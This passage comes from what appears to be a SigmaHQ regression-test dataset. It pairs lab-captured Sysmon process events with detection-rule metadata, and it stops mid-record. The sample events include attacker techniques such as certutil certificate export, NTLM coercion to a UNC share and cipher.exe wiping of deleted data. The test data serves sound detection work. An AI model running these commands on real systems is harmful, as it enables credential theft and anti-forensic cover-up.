"content": "id: bfbc8981-818e-4de5-b7a4-1bb3d4a08792\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 82a6714f-4899-4f16-9c1e-9a333544d4c3\n title: File In Suspicious Location Encoded To Base64 Via Certutil.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_certutil_encode_susp_location/82a6714f-4899-4f16-9c1e-9a333544d4c3.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_certutil_export_pfx/3ffd6f51-e6c1-47b7-94b4-c1e61d4117c5.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T17:23:42.049726Z\"\n }\n },\n \"EventRecordID\": 11818106,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 17:23:42.043\",\n \"ProcessGuid\": \"5AA13A44-079E-68FD-0236-000000004002\",\n \"ProcessId\": 2456,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\certutil.exe\",\n \"FileVersion\": \"10.0.20348.4163 (WinBuild.160101.0800)\",\n \"Description\": \"CertUtil.exe\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"CertUtil.exe\",\n \"CommandLine\": \"certutil -p secret_password -exportPFX root 1c6119aff8414c91487c4e02d18dd73D c:\\\\cert.pfx\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=317E563BFC7EC87B181D5A1745E43B8F5288DBFC,MD5=A561A96624CA5CD5491BFC1609E2958A,SHA256=D5B7E8E44F37B1FBD79A79E3321244EEF946F419151374BD1BE4D6833754FED8,IMPHASH=02CB6949ACFAA0B84149D99111C16734\",\n \"ParentProcessGuid\": \"5AA13A44-0FEC-68FC-281E-000000004002\",\n \"ParentProcessId\": 6304,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_certutil_export_pfx/info.yml",
"content": "id: 387ea4f5-f74d-4b14-a1a7-db8c97fb56c2\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 3ffd6f51-e6c1-47b7-94b4-c1e61d4117c5\n title: Certificate Exported Via Certutil.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_certutil_export_pfx/3ffd6f51-e6c1-47b7-94b4-c1e61d4117c5.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_certutil_ntlm_coercion/6c6d9280-e6d0-4b9d-80ac-254701b64916.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T17:26:24.815458Z\"\n }\n },\n \"EventRecordID\": 11867155,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 17:26:24.808\",\n \"ProcessGuid\": \"5AA13A44-0840-68FD-1336-000000004002\",\n \"ProcessId\": 4424,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\certutil.exe\",\n \"FileVersion\": \"10.0.20348.4163 (WinBuild.160101.0800)\",\n \"Description\": \"CertUtil.exe\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"CertUtil.exe\",\n \"CommandLine\": \"certutil -syncwithWU \\\\\\\\10.0.1.14\\\\my-share\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=317E563BFC7EC87B181D5A1745E43B8F5288DBFC,MD5=A561A96624CA5CD5491BFC1609E2958A,SHA256=D5B7E8E44F37B1FBD79A79E3321244EEF946F419151374BD1BE4D6833754FED8,IMPHASH=02CB6949ACFAA0B84149D99111C16734\",\n \"ParentProcessGuid\": \"5AA13A44-0FEC-68FC-281E-000000004002\",\n \"ParentProcessId\": 6304,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_certutil_ntlm_coercion/info.yml",
"content": "id: 32397458-1d93-45ee-a3c8-9efebb81d9d1\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 6c6d9280-e6d0-4b9d-80ac-254701b64916\n title: Potential NTLM Coercion Via Certutil.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_certutil_ntlm_coercion/6c6d9280-e6d0-4b9d-80ac-254701b64916.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_chcp_codepage_lookup/7090adee-82e2-4269-bd59-80691e7c6338.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T17:27:26.975358Z\"\n }\n },\n \"EventRecordID\": 11886324,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 17:27:26.974\",\n \"ProcessGuid\": \"5AA13A44-087E-68FD-1A36-000000004002\",\n \"ProcessId\": 6788,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\chcp.com\",\n \"FileVersion\": \"10.0.20348.1 (WinBuild.160101.0800)\",\n \"Description\": \"Change CodePage Utility\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"CHCP.COM\",\n \"CommandLine\": \"chcp\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=0489A9D0B4342F9C87C03510E0073898864946A5,MD5=0714C0100E008D00EC82E7B549595F69,SHA256=A807B535F7176642FC87911D185C10B00981388CDA68F5B8E2FF4C73FF514352,IMPHASH=75FA51C548B19C4AD5051FAB7D57EB56\",\n \"ParentProcessGuid\": \"5AA13A44-087E-68FD-1936-000000004002\",\n \"ParentProcessId\": 8248,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"cmd.exe /c chcp\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_chcp_codepage_lookup/info.yml",
"content": "id: 30e3935a-84b4-45ad-85e2-c209c57dbfa7\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 7090adee-82e2-4269-bd59-80691e7c6338\n title: Console CodePage Lookup Via CHCP\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_chcp_codepage_lookup/7090adee-82e2-4269-bd59-80691e7c6338.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_chcp_codepage_switch/c7942406-33dd-4377-a564-0f62db0593a3.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T17:28:28.958645Z\"\n }\n },\n \"EventRecordID\": 11905446,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 17:28:28.957\",\n \"ProcessGuid\": \"5AA13A44-08BC-68FD-2336-000000004002\",\n \"ProcessId\": 8208,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\chcp.com\",\n \"FileVersion\": \"10.0.20348.1 (WinBuild.160101.0800)\",\n \"Description\": \"Change CodePage Utility\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"CHCP.COM\",\n \"CommandLine\": \"chcp 936\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=0489A9D0B4342F9C87C03510E0073898864946A5,MD5=0714C0100E008D00EC82E7B549595F69,SHA256=A807B535F7176642FC87911D185C10B00981388CDA68F5B8E2FF4C73FF514352,IMPHASH=75FA51C548B19C4AD5051FAB7D57EB56\",\n \"ParentProcessGuid\": \"5AA13A44-08B2-68FD-2136-000000004002\",\n \"ParentProcessId\": 3204,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_chcp_codepage_switch/info.yml",
"content": "id: a67c0d0c-3b40-4fef-a39d-5bd528255d90\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: c7942406-33dd-4377-a564-0f62db0593a3\n title: Suspicious CodePage Switch Via CHCP\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_chcp_codepage_switch/c7942406-33dd-4377-a564-0f62db0593a3.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_cipher_overwrite_deleted_data/4b046706-5789-4673-b111-66f25fe99534.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T17:32:06.432272Z\"\n }\n },\n \"EventRecordID\": 11973062,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 17:32:06.421\",\n \"ProcessGuid\": \"5AA13A44-0996-68FD-3A36-000000004002\",\n \"ProcessId\": 2876,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\cipher.exe\",\n \"FileVersion\": \"10.0.20348.1 (WinBuild.160101.0800)\",\n \"Description\": \"File Encryption Utility\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"CIPHER.EXE\",\n \"CommandLine\": \"cipher.exe /w:C:\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=5747F6E48C899AEE54E4153AC8A8B61E741F45E2,MD5=3D7D3EEDD055EFF0C7995491466A7EB7,SHA256=6E04AD8A79A7D794438E197606AB78B079929D941FE99DD5159702694F7ACE77,IMPHASH=E83B4C457AFD5EEA31874B00E8A3A956\",\n \"ParentProcessGuid\": \"5AA13A44-0FEC-68FC-281E-000000004002\",\n \"ParentProcessId\": 6304,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_cipher_overwrite_deleted_data/info.yml",
"content": "id: 18b75b44-f2a5-497f-934c-9d0941f57f0f\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 4b046706-5789-4673-b111-66f25fe99534\n title: Deleted Data Overwritten Via Cipher.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_cipher_overwrite_deleted_data/4b046706-5789-4673-b111-66f25fe99534.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_clip_execution/ddeff553-5233-4ae9-bbab-d64d2bd634be.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T17:33:00.990279Z\"\n }\n },\n \"EventRecordID\": 11989935,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 17:33:00.989\",\n \"ProcessGuid\": \"5AA13A44-09CC-68FD-4336-000000004002\",\n \"ProcessId\": 1060,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\clip.exe\",\n \"FileVersion\": \"10.0.20348.1 (WinBuild.160101.0800)\",\n \"Description\": \"Clip - copies the data into clipboard\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"clip.exe\",\n \"CommandLine\": \"clip\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=F3F4BE6C6A42072CBB74D05E3EBE285FB24C56CF,MD5=61C8E9DEC5E3AEA798C2862CD4565CCA,SHA256=ABAF131EA0A608072574D7C77A6EE5175CA13E361DE18146A54A78CBD868BFF3,IMPHASH=FFEDF33A1AF6412E26F1F659C12D5FF7\",\n \"ParentProcessGuid\": \"5AA13A44-08B2-68FD-2136-000000004002\",\n \"ParentProcessId\": 3204,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_clip_execution/info.yml",
"content": "id: 4ea9d42e-437f-4c56-8173-bdd8cafd72be\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: ddeff553-5233-4ae9-bbab-d64d2bd634be\n title: Data Copied To Clipboard Via Clip.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_clip_execution/ddeff553-5233-4ae9-bbab-d64d2bd634be.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_cmd_assoc_execution/3d3aa6cd-6272-44d6-8afc-7e88dfef7061.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T13:04:38.507492Z\"\n }\n },\n \"EventRecordID\": 8302863,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 13:04:38.497\",\n \"ProcessGuid\": \"5AA13A44-CAE6-68FC-A62F-000000004002\",\n \"ProcessId\": 7816,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"FileVersion\": \"10.0.20348.3932 (WinBuild.160101.0800)\",\n \"Description\": \"Windows Command Processor\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"Cmd.Exe\",\n \"CommandLine\": \"cmd /c assoc\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=BC2820B5EE7B43C172005B66546F12316DE8C081,MD5=8903A3381FBB033A45F5C2C50C175C54,SHA256=F7C237A49B96FD77C047910E13F24AAC4678A0F94BABDB06643DBA63F38D48E5,IMPHASH=D60B77062898DC6BFAE7FE11A0F8806C\",\n \"ParentProcessGuid\": \"5AA13A44-0FEC-68FC-281E-000000004002\",\n \"ParentProcessId\": 6304,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_cmd_assoc_execution/info.yml",
"content": "id: 1a0606d6-3470-45e5-aeea-16098357e709\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 3d3aa6cd-6272-44d6-8afc-7e88dfef7061\n title: Change Default File Association Via Assoc\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_cmd_assoc_execution/3d3aa6cd-6272-44d6-8afc-7e88dfef7061.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_cmd_dir_execution/7c9340a9-e2ee-4e43-94c5-c54ebbea1006.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T13:13:54.628884Z\"\n }\n },\n \"EventRecordID\": 8447015,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 13:13:54.622\",\n \"ProcessGuid\": \"5AA13A44-CD12-68FC-E62F-000000004002\",\n \"ProcessId\": 9088,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"FileVersion\": \"10.0.20348.3932 (WinBuild.160101.0800)\",\n \"Description\": \"Windows Command Processor\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"Cmd.Exe\",\n \"CommandLine\": \"cmd /c \\\"dir /s\\\"\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=BC2820B5EE7B43C172005B66546F12316DE8C081,MD5=8903A3381FBB033A45F5C2C50C175C54,SHA256=F7C237A49B96FD77C047910E13F24AAC4678A0F94BABDB06643DBA63F38D48E5,IMPHASH=D60B77062898DC6BFAE7FE11A0F8806C\",\n \"ParentProcessGuid\": \"5AA13A44-0FEC-68FC-281E-000000004002\",\n \"ParentProcessId\": 6304,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_cmd_dir_execution/info.yml",
"content": "id: 952d9279-9d38-4dc6-b32e-4b470cf99fc7\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 7c9340a9-e2ee-4e43-94c5-c54ebbea1006\n title: File And SubFolder Enumeration Via Dir Command\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_cmd_dir_execution/7c9340a9-e2ee-4e43-94c5-c54ebbea1006.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_cmd_launched_with_hidden_start_flag/5a6b7c8d-9e0f-1a2b-3c4d-5e6f7a8b9c0d.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-04T07:01:44.982629Z\"\n }\n },\n \"EventRecordID\": 27923,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3116,\n \"ThreadID\": 1656\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-12-04 07:01:44.963\",\n \"ProcessGuid\": \"0197231E-31D8-6931-7209-000000000900\",\n \"ProcessId\": 13752,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"FileVersion\": \"10.0.26100.2454 (WinBuild.160101.0800)\",\n \"Description\": \"Windows Command Processor\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"Cmd.Exe\",\n \"CommandLine\": \"\\\"C:\\\\WINDOWS\\\\system32\\\\cmd.exe\\\" /c \\\"start /b /min C:\\\\Users\\\\xodih\\\\Music\\\\random.vbs\\\"\",\n \"CurrentDirectory\": \"C:\\\\WINDOWS\\\\system32\\\\\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-BBFB-692F-3C8C-050000000000\",\n \"LogonId\": \"0x58c3c\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": 